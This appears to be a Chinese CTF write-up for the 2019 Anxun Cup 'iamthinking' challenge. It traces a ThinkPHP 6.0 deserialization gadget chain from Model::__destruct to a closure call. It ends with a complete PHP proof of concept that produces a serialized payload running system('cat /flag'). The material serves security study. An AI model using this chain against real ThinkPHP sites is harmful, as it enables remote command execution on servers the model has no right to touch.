[安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞

[安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞

刚开始是403，扫描以下目录，扫描到三个目录。

[18:06:19] 200 -    1KB - /README.md
[18:06:19] 200 -   34B  - /.gitignore
[18:06:26] 200 -  880KB - /www.zip

通过README可以看到是ThinkPHP6.0。

我们现在只能到index頁面，全局搜索一下unserialize，发现在index.php下存在着反序列化的地方。

同时payload参数可控，通过GET方式就能传递到。

接下来要找反序列的点，全局distruct，先从这个点开始审计。

发现只有六处，反序列的点，依次查看。

Mongo处无法利用

free，close都无法利用，只是释放参数。

connection处同理。

看向Model.php。

看到save函数，感觉是能操作的。

public function __destruct()
{
    if ($this->lazySave) {
        $this->save();
    }
}

条件lazysave是设为true，默认为flase。

跟进save方法。

 public function save(array $data = [], string $sequence = null): bool
    {
        // 数据对象赋值
        $this->setAttrs($data);

        if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
            return false;
        }

        $result = $this->exists ? $this->updateData() : $this->insertData($sequence);

        if (false === $result) {
            return false;
        }

        // 写入回调
        $this->trigger('AfterWrite');

        // 重新记录原始数据
        $this->origin   = $this->data;
        $this->set      = [];
        $this->lazySave = false;

        return true;
    }

需要满足$this->isEmpty()不成立，$this->trigger('BeforeWrite')为TRUE。

跟进isEmpty：

return empty($this->data);

即data不设置即可。

跟进tigger：

    if (!$this->withEvent) {
        return true;
    }

让$this->withEvent为flase即可。

跟进upadteData方法以及insertData方法。

protected function updateData(): bool
{
    // 事件回调
    if (false === $this->trigger('BeforeUpdate')) {
        return false;
    }

    $this->checkData();

    // 获取有更新的数据
    $data = $this->getChangedData();

    if (empty($data)) {
        // 关联更新
        if (!empty($this->relationWrite)) {
            $this->autoRelationUpdate();
        }

        return true;
    }

    if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
        // 自动写入更新时间
        $data[$this->updateTime]       = $this->autoWriteTimestamp($this->updateTime);
        $this->data[$this->updateTime] = $data[$this->updateTime];
    }

    // 检查允许字段
    $allowFields = $this->checkAllowFields();

    foreach ($this->relationWrite as $name => $val) {
        if (!is_array($val)) {
            continue;
        }

        foreach ($val as $key) {
            if (isset($data[$key])) {
                unset($data[$key]);
            }
        }
    }

    // 模型更新
    $db = $this->db();
    $db->startTrans();

    try {
        $where  = $this->getWhere();
        $result = $db->where($where)
            ->strict(false)
            ->field($allowFields)
            ->update($data);

        $this->checkResult($result);

        // 关联更新
        if (!empty($this->relationWrite)) {
            $this->autoRelationUpdate();
        }

        $db->commit();

        // 更新回调
        $this->trigger('AfterUpdate');

        return true;
    } catch (\Exception $e) {
        $db->rollback();
        throw $e;
    }
}

继续跟进checkAllowFields

发现文字拼接：

$this->table . $this->suffix

能够被利用触发toString方法。

进入到这一步的条件就是： $this->field为空，且$this->schema也为空。

即: $this->field = [];
$this->schema = [];

同时这里还有一个判断，即$this->table，当为true是才能执行字符串的拼接。

所以为了能让这个方法被调用到，我们要让exists存在。

即 $this->exists =True

关于toString魔术方法,他是在Conversion.php当中。

public function __toString()
{
    return $this->toJson();
}

继续查看tojson这个函数：

public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
    return json_encode($this->toArray(), $options);
}

跟进到toArray方法。

          elseif (isset($this->visible[$key])) {
            $item[$key] = $this->getAttr($key);
        } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
            $item[$key] = $this->getAttr($key);
        }

再看到getAttr方法：

public function getAttr(string $name)
{
    try {
        $relation = false;
        $value    = $this->getData($name);
    } catch (InvalidArgumentException $e) {
        $relation = $this->isRelationAttr($name);
        $value    = null;
    }

    return $this->getValue($name, $value, $relation);
}

跟进getData方法：

if (is_null($name)) {
        return $this->data;
    }

    $fieldName = $this->getRealFieldName($name);

进入到getRealFieldName方法：

   protected function getRealFieldName(string $name): string
    {
        return $this->strict ? $name : Str::snake($name);
    }
    if (array_key_exists($fieldName, $this->data)) {
        return $this->data[$fieldName];
    } elseif (array_key_exists($name, $this->relation)) {
        return $this->relation[$name];
    }

如果$this->strict为True，返回$name。

此时再getData方法中：

$this->data[$fielName] = $this->data[$key]

此时再getAttr中就是： $this->getValue($key, $value, null);

跟进getvalue：

protected function getValue(string $name, $value, $relation = false)
{
    // 检测属性获取器
    $fieldName = $this->getRealFieldName($name);
    $method    = 'get' . Str::studly($name) . 'Attr';

    if (isset($this->withAttr[$fieldName])) {
        if ($relation) {
            $value = $this->getRelationValue($relation);
        }

        if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
            $value = $this->getJsonValue($fieldName, $value);
        }else {
            //$fieldName = a
            //withAttr[a] = system
            $closure = $this->withAttr[$fieldName];
            //value = system(ls,)
            $value   = $closure($value, $this->data);
        }

可以很明显看到：

当$this->withAttr[$key]不为数组条件就会为false，从而触发命令执行

poc：

<?php
namespace think\model\concern {
    trait Conversion
    {
    }

    trait Attribute
    {
        private $data;
        private $withAttr = ["xxx" => "system"];

        public function get()
        {
            $this->data = ["xxx" => "cat /flag"];
        }
    }
}

namespace think{
    abstract class Model{
    use model\concern\Attribute;
    use model\concern\Conversion;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $field;
    protected $schema;
    protected $table;
    function __construct(){
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->field = [];
        $this->schema = [];
        $this->table = true;
    }
}
}

namespace think\model{

use think\Model;

class Pivot extends Model
{
    function __construct($obj='')
    {
        //定义this->data不为空
        parent::__construct();
        $this->get();
        $this->table = $obj;
    }
}

$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));
}

这个poc是网上找的，跟我写的思路可能有些地方不太一致。